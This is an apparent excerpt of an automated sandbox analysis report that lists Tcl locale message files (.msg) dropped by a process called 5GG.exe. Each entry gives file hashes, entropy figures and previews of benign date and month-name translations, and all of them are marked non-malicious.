Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2018
Entropy (8bit):	4.477377447232708
Encrypted:	false
SSDEEP:	24:4aR83gr/fsS/Sm8p4M/n1KsPktE30AiJcAxi9CEzdEvSCHvMSV:43UkiSm8p3nX0EzdCSCPV
MD5:	D264D01B46D96455715114CAEDF9F05E
SHA1:	A3F68A4C6E69433BD53E52B73041575F3B3AC3F2
SHA-256:	B69D0061A728D59F89FF8621312789CD9F540BF2E2ED297804D22F6278561D85
SHA-512:	A4163DAA6821B293EADD5D499E0641A8B7C93180C710D6B364AE8681A8FF6F35EC948C8DDBE960A8466AF1ACABC15B0D465A08B084617E8005D708459F7E74D3
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ar DAYS_OF_WEEK_ABBREV [list \.. "\u062d"\.. "\u0646"\.. "\u062b"\.. "\u0631"\.. "\u062e"\.. "\u062c"\.. "\u0633"].. ::msgcat::mcset ar DAYS_OF_WEEK_FULL [list \.. "\u0627\u0644\u0623\u062d\u062f"\.. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\.. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\.. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\.. "\u0627\u0644\u062e\u0645\u064a\u0633"\.. "\u0627\u0644\u062c\u0645\u0639\u0629"\.. "\u0627\u0644\u0633\u0628\u062a"].. ::msgcat::mcset ar MONTHS_ABBREV [list \.. "\u064a\u0646\u0627"\.. "\u0641\u0628\u0631"\.. "\u0645\u0627\u0631"\.. "\u0623\u0628\u0631"\.. "\u0645\u0627\u064a"\.. "\u064a\u0648\u0646"\.. "\u064a\u0648\u0644"\.. "\u0623\u063a\u0633"\.. "\u0633\u0628\u062a"\..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ar_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	265
Entropy (8bit):	4.872222510420193
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoKNvfcoKU3v6xyFjoKNo+3vfXM68vn:4EnLB3831vfD3v6g9F3vfc6+n
MD5:	430498B4AB1E77C86BC1311A49747581
SHA1:	684EAD965D9010C2A6E73DCACB2224FDE585F9FF
SHA-256:	2E04B96DA002519D28125918A22FF2BB9659A668A7BCAD34D85DDDECEC8DC0B4
SHA-512:	9F85A88A383DCFC54DAA6253D94C307A14B1CC91D5C97AF817B8122AF98025AB2430D0B2D656EBED09E78FB854D1F9CF99F3B791A6ECB7834112012739140126
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ar_IN DATE_FORMAT "%A %d %B %Y".. ::msgcat::mcset ar_IN TIME_FORMAT_12 "%I:%M:%S %z".. ::msgcat::mcset ar_IN DATE_TIME_FORMAT "%A %d %B %Y %I:%M:%S %z %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ar_jo.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1851
Entropy (8bit):	4.08645484776227
Encrypted:	false
SSDEEP:	24:4aR83sxS/Sm819+es/Ii/R91bpH0+U0c+es/Ii/R91bpH0+UO:43wiSm815MbJbHgMbJbp
MD5:	5C62D606F4F14BC8994B28F9622D70DD
SHA1:	E99F8CC5D330085545B05B69213E9D011D436990
SHA-256:	5ADBB3D37C3369E5FC80D6A462C82598D5A22FAEF0E8DF6B3148231D2C6A7F73
SHA-512:	81AC9200459B0896E27A028BD089A174F7F921B0367BC8FF1AB33D3E561417B6F8EC23DAB750ECB408AC8A11CDFDBFA4F890F9E723BB8607B017C9FEE00928A0
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ar_JO DAYS_OF_WEEK_ABBREV [list \.. "\u0627\u0644\u0623\u062d\u062f"\.. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\.. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\.. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\.. "\u0627\u0644\u062e\u0645\u064a\u0633"\.. "\u0627\u0644\u062c\u0645\u0639\u0629"\.. "\u0627\u0644\u0633\u0628\u062a"].. ::msgcat::mcset ar_JO MONTHS_ABBREV [list \.. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\.. "\u0634\u0628\u0627\u0637"\.. "\u0622\u0630\u0627\u0631"\.. "\u0646\u064a\u0633\u0627\u0646"\.. "\u0646\u0648\u0627\u0631"\.. "\u062d\u0632\u064a\u0631\u0627\u0646"\.. "\u062a\u0645\u0648\u0632"\.. "\u0622\u0628"\.. "\u0623\u064a\u0644\u0648\u0644"\.. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u064

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ar_lb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1851
Entropy (8bit):	4.083347689510237
Encrypted:	false
SSDEEP:	24:4aR83LxS/Sm8S9+es/Ii/R91bpH0+U/c+es/Ii/R91bpH0+UO:431iSm8S5MbJbQgMbJbp
MD5:	6FC1CC738207E2F8E0871103841BC0D4
SHA1:	D2C62C7F6DA1EF399FCBE2BA91C9562C87E6152F
SHA-256:	1FC13070CF661488E90FECE84274C46B1F4CC7E1565EAB8F829CCAA65108DFCA
SHA-512:	E547D5CBB746654051AFDA21942075BC2224C2FF75D440C6C34C642AD24CF622E520FF919B8BD4AFC0116D9CE69B3ABA4E81EE247C1388F3C5741150201F5C60
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ar_LB DAYS_OF_WEEK_ABBREV [list \.. "\u0627\u0644\u0623\u062d\u062f"\.. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\.. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\.. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\.. "\u0627\u0644\u062e\u0645\u064a\u0633"\.. "\u0627\u0644\u062c\u0645\u0639\u0629"\.. "\u0627\u0644\u0633\u0628\u062a"].. ::msgcat::mcset ar_LB MONTHS_ABBREV [list \.. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\.. "\u0634\u0628\u0627\u0637"\.. "\u0622\u0630\u0627\u0631"\.. "\u0646\u064a\u0633\u0627\u0646"\.. "\u0646\u0648\u0627\u0631"\.. "\u062d\u0632\u064a\u0631\u0627\u0646"\.. "\u062a\u0645\u0648\u0632"\.. "\u0622\u0628"\.. "\u0623\u064a\u0644\u0648\u0644"\.. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u064

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ar_sy.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1851
Entropy (8bit):	4.084701680556524
Encrypted:	false
SSDEEP:	24:4aR83lxS/Sm8M9+es/Ii/R91bpH0+UBc+es/Iv/I91bpH0+UO:43LiSm8M5MbJbSgMo0bp
MD5:	8188C37CA44FEFFF8D895AAD503AD4F6
SHA1:	C48F2E3B9FC055704D2DAFDC67E9D08EE6897D45
SHA-256:	294F3E46C55453EDAD44567E1330F9B43E69A07FA0655B24DD2780A4490C1194
SHA-512:	F86FCFC7C460473D46C472041AB2E1F9388CF34BCA9050295D1DAE454E35A2A0320D0C61D5E8CBB832AF74FFDD1A7511AF32EA2A53B481F39A1CBCF5F086D514
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ar_SY DAYS_OF_WEEK_ABBREV [list \.. "\u0627\u0644\u0623\u062d\u062f"\.. "\u0627\u0644\u0627\u062b\u0646\u064a\u0646"\.. "\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621"\.. "\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621"\.. "\u0627\u0644\u062e\u0645\u064a\u0633"\.. "\u0627\u0644\u062c\u0645\u0639\u0629"\.. "\u0627\u0644\u0633\u0628\u062a"].. ::msgcat::mcset ar_SY MONTHS_ABBREV [list \.. "\u0643\u0627\u0646\u0648\u0646 \u0627\u0644\u062b\u0627\u0646\u064a"\.. "\u0634\u0628\u0627\u0637"\.. "\u0622\u0630\u0627\u0631"\.. "\u0646\u064a\u0633\u0627\u0646"\.. "\u0646\u0648\u0627\u0631"\.. "\u062d\u0632\u064a\u0631\u0627\u0646"\.. "\u062a\u0645\u0648\u0632"\.. "\u0622\u0628"\.. "\u0623\u064a\u0644\u0648\u0644"\.. "\u062a\u0634\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u064

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2157
Entropy (8bit):	4.27810535662921
Encrypted:	false
SSDEEP:	48:43PI8IKQGQ8mA/XxQJxQnA9QJlPyI/tbCaQICMIcQ8InVI5tNIzQFIQQLtChjsI4:2PItK5BSb9ajfycCW5IzdQNxK
MD5:	6334BDDFC1E0EAE4DBB2C90F85818FD8
SHA1:	085EDC3D027D6B5A6A6A2561717EA89C8F8B8B39
SHA-256:	A636A82C7D00CCDC0AF2496043FFA320F17B0D48A1232708810D3BB1453E881E
SHA-512:	18ADB77314FCFD534E55B234B3A53A0BC572AB60B80D099D2F3B20E0C5FE66179FDC076AA43200DB3CA123BC6216989EC41448FA624D3BA9633413AD8AD6034C
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset be DAYS_OF_WEEK_ABBREV [list \.. "\u043d\u0434"\.. "\u043f\u043d"\.. "\u0430\u0442"\.. "\u0441\u0440"\.. "\u0447\u0446"\.. "\u043f\u0442"\.. "\u0441\u0431"].. ::msgcat::mcset be DAYS_OF_WEEK_FULL [list \.. "\u043d\u044f\u0434\u0437\u0435\u043b\u044f"\.. "\u043f\u0430\u043d\u044f\u0434\u0437\u0435\u043b\u0430\u043a"\.. "\u0430\u045e\u0442\u043e\u0440\u0430\u043a"\.. "\u0441\u0435\u0440\u0430\u0434\u0430"\.. "\u0447\u0430\u0446\u0432\u0435\u0440"\.. "\u043f\u044f\u0442\u043d\u0456\u0446\u0430"\.. "\u0441\u0443\u0431\u043e\u0442\u0430"].. ::msgcat::mcset be MONTHS_ABBREV [list \.. "\u0441\u0442\u0434"\.. "\u043b\u044e\u0442"\.. "\u0441\u043a\u0432"\.. "\u043a\u0440\u0441"\.. "\u043c\u0430\u0439"\.. "\u0447\u0440\u0432"\.. "\u043b\u043f\u043d"

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\bg.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1871
Entropy (8bit):	4.4251657008559935
Encrypted:	false
SSDEEP:	48:43EUAIlnQf/QVdQ81mnEZqEavWQEQ3QvQrQL0QjQTtQDCQSY4tqP:27xMk+nEZqE3biIYbUi+C9y
MD5:	E5225D6478C60E2502D18698BB917677
SHA1:	52D611CB5351FB873D2535246B3A3C1A37094023
SHA-256:	CFE4E44A3A751F113847667EC9EA741E762BBDE0D4284822CB337DF0F92C1ACA
SHA-512:	59AB167177101088057BF4EE0F70262987A2177ECB72C613CCAAE2F3E8D8B77F07D15DA5BE3B8728E23C31A1C9736030AA4036A8CD00A24791751A298B3A88B3
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset bg DAYS_OF_WEEK_ABBREV [list \.. "\u041d\u0434"\.. "\u041f\u043d"\.. "\u0412\u0442"\.. "\u0421\u0440"\.. "\u0427\u0442"\.. "\u041f\u0442"\.. "\u0421\u0431"].. ::msgcat::mcset bg DAYS_OF_WEEK_FULL [list \.. "\u041d\u0435\u0434\u0435\u043b\u044f"\.. "\u041f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a"\.. "\u0412\u0442\u043e\u0440\u043d\u0438\u043a"\.. "\u0421\u0440\u044f\u0434\u0430"\.. "\u0427\u0435\u0442\u0432\u044a\u0440\u0442\u044a\u043a"\.. "\u041f\u0435\u0442\u044a\u043a"\.. "\u0421\u044a\u0431\u043e\u0442\u0430"].. ::msgcat::mcset bg MONTHS_ABBREV [list \.. "I"\.. "II"\.. "III"\.. "IV"\.. "V"\.. "VI"\.. "VII"\.. "VIII"\.. "IX"\.. "X"\.. "XI"\.. "XII"\.. ""].. ::msgcat::mcset bg MO

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\bn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2335
Entropy (8bit):	4.107102006297273
Encrypted:	false
SSDEEP:	24:4aR835e/MWrD//6HFEVcVVcCVcTUTVckVEVcT7VcEEVcby/Vcn0VcMr/0VcM8VcQ:43ktX++QalMObalMZ6IE6V
MD5:	5D25E7FC65824AC987535FEA14A4045C
SHA1:	85C10F05823CD3263FC7B3EC38796BEC261B3716
SHA-256:	890EA6521DEB1B3C3913CCD92562F6360E064DAEE2E2B0356A6DD97A46264A1F
SHA-512:	5D8A88ACAEBBF3CD721F288FA0F1FEE517EE568CA5482E30CFA1E36CD37DF011C449090E2D9041F1D046A191F13D4C5C4B6F9E2F16FD259E63CE46ECC4E4F81F
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset bn DAYS_OF_WEEK_ABBREV [list \.. "\u09b0\u09ac\u09bf"\.. "\u09b8\u09cb\u09ae"\.. "\u09ae\u0999\u0997\u09b2"\.. "\u09ac\u09c1\u09a7"\.. "\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf"\.. "\u09b6\u09c1\u0995\u09cd\u09b0"\.. "\u09b6\u09a8\u09bf"].. ::msgcat::mcset bn DAYS_OF_WEEK_FULL [list \.. "\u09b0\u09ac\u09bf\u09ac\u09be\u09b0"\.. "\u09b8\u09cb\u09ae\u09ac\u09be\u09b0"\.. "\u09ae\u0999\u0997\u09b2\u09ac\u09be\u09b0"\.. "\u09ac\u09c1\u09a7\u09ac\u09be\u09b0"\.. "\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf\u09ac\u09be\u09b0"\.. "\u09b6\u09c1\u0995\u09cd\u09b0\u09ac\u09be\u09b0"\.. "\u09b6\u09a8\u09bf\u09ac\u09be\u09b0"].. ::msgcat::mcset bn MONTHS_ABBREV [list \.. "\u099c\u09be\u09a8\u09c1\u09df\u09be\u09b0\u09c0"\.. "\u09ab\u09c7\u09ac\u09cd\u09b0\u09c1\u09df\u09be

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\bn_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	265
Entropy (8bit):	4.868201122972066
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xovtvfluo/E3v6xyFjovto+3vflm68vn:4EnLB383UtvfltE3v6g8tF3vflm6+n
MD5:	B91BB2ABC23B90962D2070B9588F2AB5
SHA1:	CBB4E9CD600773792C6E9F3E6B27E99C1846B44F
SHA-256:	B3D8A4632290B0F3DA690E47C1FDF06A8B9E171A96E938AFDB0DD52CF806CE54
SHA-512:	932FC4B8C3CA72731187D56012AD7DD7777C4D447F16EEB17B9D68235C9590DF99992FD22B8D7C85A843A610F93CD36FAFA993C34C441255A1C0A93C73BC5FE4
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset bn_IN DATE_FORMAT "%A %d %b %Y".. ::msgcat::mcset bn_IN TIME_FORMAT_12 "%I:%M:%S %z".. ::msgcat::mcset bn_IN DATE_TIME_FORMAT "%A %d %b %Y %I:%M:%S %z %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ca.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	4.2880653012847985
Encrypted:	false
SSDEEP:	24:4aR83FMVBNfPg+g+RjMu5+C6MB4zdiwvWvn:432g6jh65zd3gn
MD5:	72DDD60C907DD235BCE4AB0A5AEE902C
SHA1:	06150F793251687E6FBC3FDA3BC81BCBFC7DE763
SHA-256:	3BE295DCC8FCDC767FED0C68E3867359C18E7E57D7DB6C07236B5BC572AD328E
SHA-512:	3B0A85003692F1E46185D5CC09236D2DA5E6D29166C9812D07A7D6BF6AC6C3B0708F91C6899768D4DBA3528081B8B43E09F49622B70F1CF991AFAC5352B6BA37
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ca DAYS_OF_WEEK_ABBREV [list \.. "dg."\.. "dl."\.. "dt."\.. "dc."\.. "dj."\.. "dv."\.. "ds."].. ::msgcat::mcset ca DAYS_OF_WEEK_FULL [list \.. "diumenge"\.. "dilluns"\.. "dimarts"\.. "dimecres"\.. "dijous"\.. "divendres"\.. "dissabte"].. ::msgcat::mcset ca MONTHS_ABBREV [list \.. "gen."\.. "feb."\.. "mar\u00e7"\.. "abr."\.. "maig"\.. "juny"\.. "jul."\.. "ag."\.. "set."\.. "oct."\.. "nov."\.. "des."\.. ""].. ::msgcat::mcset ca MONTHS_FULL [list \.. "gener"\.. "febrer"\.. "mar\u00e7"\.. "abril"\.. "maig"\.. "juny"\.. "juliol"\.. "agost"\.. "setembre"\.. "octubre"\.. "novembre"\.. "desembre"\.. ""].. ::msg

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\cs.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	4.466447248030554
Encrypted:	false
SSDEEP:	24:4aR83U4nZ4yJTkkG3mYWEZqO1R3DNBEVG+PYhxrU4UF3ecCvt7/v3e6:43TJTGmnEZqE5/EVEDOGtDp
MD5:	F32EAD82CC26754C5A8E092873A28DB3
SHA1:	325124660F62242B24623B4B737CB4616F86CFF3
SHA-256:	AFEA12A16A6FA750EA610245133B90F178BA714848F89AEC37429A3E7B06BE1A
SHA-512:	04E335AAFBF4D169983635FC87BCFFE86FBA570A3E1820D20240EF7B47E7A3CD94AE3598543DCE92A1F82B5146CAAD982EFE9490EFD9E581D58515CFC3930581
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset cs DAYS_OF_WEEK_ABBREV [list \.. "Ne"\.. "Po"\.. "\u00dat"\.. "St"\.. "\u010ct"\.. "P\u00e1"\.. "So"].. ::msgcat::mcset cs DAYS_OF_WEEK_FULL [list \.. "Ned\u011ble"\.. "Pond\u011bl\u00ed"\.. "\u00dater\u00fd"\.. "St\u0159eda"\.. "\u010ctvrtek"\.. "P\u00e1tek"\.. "Sobota"].. ::msgcat::mcset cs MONTHS_ABBREV [list \.. "I"\.. "II"\.. "III"\.. "IV"\.. "V"\.. "VI"\.. "VII"\.. "VIII"\.. "IX"\.. "X"\.. "XI"\.. "XII"\.. ""].. ::msgcat::mcset cs MONTHS_FULL [list \.. "leden"\.. "\u00fanor"\.. "b\u0159ezen"\.. "duben"\.. "kv\u011bten"\.. "\u010derven"\.. "\u010dervenec"\.. "srpen"\.. "z\u00e1\u0159\u00ed"\.. "\u0159\u00edjen"\..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\da.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	4.315504392809956
Encrypted:	false
SSDEEP:	24:4aR83wV0tBVYuorIsmZ5meAxyISjTHU92WFVwpwvbvT:43w+DiuorreAY0zw8rT
MD5:	27A6A8BE8903AEF9D0BE956906A89583
SHA1:	EE29FDF67CB3AE150DF6BBBE603C1C3F5DA28641
SHA-256:	0D422A991BCA13FE9033118691CFEDAB0F372222EBB0BC92BAF8E914EE816B84
SHA-512:	0E702A679AD94BF479226B7DE32077562F3F95210F6453AE564138386DBB179941BA5359AEE9AC532F4A6E5BE745D6962D6B638A21DD48B865716F2FD2A0CB01
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset da DAYS_OF_WEEK_ABBREV [list \.. "s\u00f8"\.. "ma"\.. "ti"\.. "on"\.. "to"\.. "fr"\.. "l\u00f8"].. ::msgcat::mcset da DAYS_OF_WEEK_FULL [list \.. "s\u00f8ndag"\.. "mandag"\.. "tirsdag"\.. "onsdag"\.. "torsdag"\.. "fredag"\.. "l\u00f8rdag"].. ::msgcat::mcset da MONTHS_ABBREV [list \.. "jan"\.. "feb"\.. "mar"\.. "apr"\.. "maj"\.. "jun"\.. "jul"\.. "aug"\.. "sep"\.. "okt"\.. "nov"\.. "dec"\.. ""].. ::msgcat::mcset da MONTHS_FULL [list \.. "januar"\.. "februar"\.. "marts"\.. "april"\.. "maj"\.. "juni"\.. "juli"\.. "august"\.. "september"\.. "oktober"\.. "november"\.. "december"\.. ""].. ::msgcat::mcset da B

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\de.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	4.349293509679722
Encrypted:	false
SSDEEP:	24:4aR83cFNSsZKKgXum47fpK2OaSIui7dHqWZ0ZIBFJWJvvvWIn:43InZKKgXoOqx1W67W9XWIn
MD5:	EE3963A5F7E29C05C9617BE3FD897114
SHA1:	0F978CA174DF596817F872B5EF1B447B9DFE651C
SHA-256:	4C27733502066E8391654D1D372F92BF0484C5A3821E121AE8AA5B99378C99AE
SHA-512:	EA933709C68F8199858A1CC1FFDA67EE7458CC57A163E672535EB0B4C37BFDC200604C7506748DAC3158B6CA63C2F076A2C6252B2A596E59F83D3B1D4BC9C901
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset de DAYS_OF_WEEK_ABBREV [list \.. "So"\.. "Mo"\.. "Di"\.. "Mi"\.. "Do"\.. "Fr"\.. "Sa"].. ::msgcat::mcset de DAYS_OF_WEEK_FULL [list \.. "Sonntag"\.. "Montag"\.. "Dienstag"\.. "Mittwoch"\.. "Donnerstag"\.. "Freitag"\.. "Samstag"].. ::msgcat::mcset de MONTHS_ABBREV [list \.. "Jan"\.. "Feb"\.. "Mrz"\.. "Apr"\.. "Mai"\.. "Jun"\.. "Jul"\.. "Aug"\.. "Sep"\.. "Okt"\.. "Nov"\.. "Dez"\.. ""].. ::msgcat::mcset de MONTHS_FULL [list \.. "Januar"\.. "Februar"\.. "M\u00e4rz"\.. "April"\.. "Mai"\.. "Juni"\.. "Juli"\.. "August"\.. "September"\.. "Oktober"\.. "November"\.. "Dezember"\.. ""].. ::msgcat::mcset de BCE "v.

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\de_at.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	847
Entropy (8bit):	4.412930056658995
Encrypted:	false
SSDEEP:	24:4aR831sMm47fpK2++SIui7dHqWZ0ZItovGvzvW:431h+mx1Wm+QjW
MD5:	A6227CD4F7434952D093F1F3C64B4378
SHA1:	0DDB9A49CB83DDF2396B2ECA85093260710496C2
SHA-256:	1C02D14140196623297F858E2EEF00B4159E1C6FAFE044EC65A48C9C24D46540
SHA-512:	D63F34024356F5CE0335D14EA557F4BBF238CCA8265DD27C039C70F7F28FE737F368B030DEE10B2C536512D2815E1F5B19838D08745C6A76A39050D573597EB3
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset de_AT MONTHS_ABBREV [list \.. "J\u00e4n"\.. "Feb"\.. "M\u00e4r"\.. "Apr"\.. "Mai"\.. "Jun"\.. "Jul"\.. "Aug"\.. "Sep"\.. "Okt"\.. "Nov"\.. "Dez"\.. ""].. ::msgcat::mcset de_AT MONTHS_FULL [list \.. "J\u00e4nner"\.. "Februar"\.. "M\u00e4rz"\.. "April"\.. "Mai"\.. "Juni"\.. "Juli"\.. "August"\.. "September"\.. "Oktober"\.. "November"\.. "Dezember"\.. ""].. ::msgcat::mcset de_AT DATE_FORMAT "%Y-%m-%d".. ::msgcat::mcset de_AT TIME_FORMAT "%T".. ::msgcat::mcset de_AT TIME_FORMAT_12 "%T".. ::msgcat::mcset de_AT DATE_TIME_FORMAT "%a %d %b %Y %T %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\de_be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	4.389082225723362
Encrypted:	false
SSDEEP:	24:4aR83B8VSysVB8VsZKKgJ5Mm47fpK26aSIui7dHqWZ0ZIlj5VevjevbDvW:43Bt1VBbZKKgJs6qx1Wc5VojobzW
MD5:	C351057D8E5328C0790901D1F4DBEC9F
SHA1:	F73DE8AEF7F8083B0726760AA003E81067A68588
SHA-256:	532845CD15EC821C1939D000C648694A64E8CA8F0C14BAD5D79682CF991481CE
SHA-512:	8152AD082D0A6A4EBE7E1CCA9D4A5F2E48ABE3F09F4385A517C523A67CA3B08E0F20C193D0F6850F37E55ED0CD6FBD201FE22CC824AF170976D04DB061212F2D
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset de_BE DAYS_OF_WEEK_ABBREV [list \.. "Son"\.. "Mon"\.. "Die"\.. "Mit"\.. "Don"\.. "Fre"\.. "Sam"].. ::msgcat::mcset de_BE DAYS_OF_WEEK_FULL [list \.. "Sonntag"\.. "Montag"\.. "Dienstag"\.. "Mittwoch"\.. "Donnerstag"\.. "Freitag"\.. "Samstag"].. ::msgcat::mcset de_BE MONTHS_ABBREV [list \.. "Jan"\.. "Feb"\.. "M\u00e4r"\.. "Apr"\.. "Mai"\.. "Jun"\.. "Jul"\.. "Aug"\.. "Sep"\.. "Okt"\.. "Nov"\.. "Dez"\.. ""].. ::msgcat::mcset de_BE MONTHS_FULL [list \.. "Januar"\.. "Februar"\.. "M\u00e4rz"\.. "April"\.. "Mai"\.. "Juni"\.. "Juli"\.. "August"\.. "September"\.. "Oktober"\.. "November"\.. "Dezember"\.. ""].. ::m

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\el.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2304
Entropy (8bit):	4.371322909589862
Encrypted:	false
SSDEEP:	24:4aR833v+ZYYWtv+nWfFyL1NYOg+EKVJQ19tWQYmYaYRn9sWuSAJIJ6eRa6WrmdlX:43/pZyLjY0uYR9QmdkjC9r
MD5:	7DD14B1F4FF532DCAF6D4C6F0DF82E9A
SHA1:	707875FEF4207EBB71D066FDC54C7F68560C6DAD
SHA-256:	8B23E0E2F0F319BB9A2DFDCCDC565FF79A62FA85094811189B6BC41594232B6B
SHA-512:	5ECA072DE5DD7890270AE268C7C8D40EE2DB6966643604D16E54194DB0AD74FDA8D04848331E61B387E8B494AF18252E38671D939069EC4C90C672A629563B88
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset el DAYS_OF_WEEK_ABBREV [list \.. "\u039a\u03c5\u03c1"\.. "\u0394\u03b5\u03c5"\.. "\u03a4\u03c1\u03b9"\.. "\u03a4\u03b5\u03c4"\.. "\u03a0\u03b5\u03bc"\.. "\u03a0\u03b1\u03c1"\.. "\u03a3\u03b1\u03b2"].. ::msgcat::mcset el DAYS_OF_WEEK_FULL [list \.. "\u039a\u03c5\u03c1\u03b9\u03b1\u03ba\u03ae"\.. "\u0394\u03b5\u03c5\u03c4\u03ad\u03c1\u03b1"\.. "\u03a4\u03c1\u03af\u03c4\u03b7"\.. "\u03a4\u03b5\u03c4\u03ac\u03c1\u03c4\u03b7"\.. "\u03a0\u03ad\u03bc\u03c0\u03c4\u03b7"\.. "\u03a0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae"\.. "\u03a3\u03ac\u03b2\u03b2\u03b1\u03c4\u03bf"].. ::msgcat::mcset el MONTHS_ABBREV [list \.. "\u0399\u03b1\u03bd"\.. "\u03a6\u03b5\u03b2"\.. "\u039c\u03b1\u03c1"\.. "\u0391\u03c0\u03c1"\.. "\u039c\u03b1\u03ca"\.. 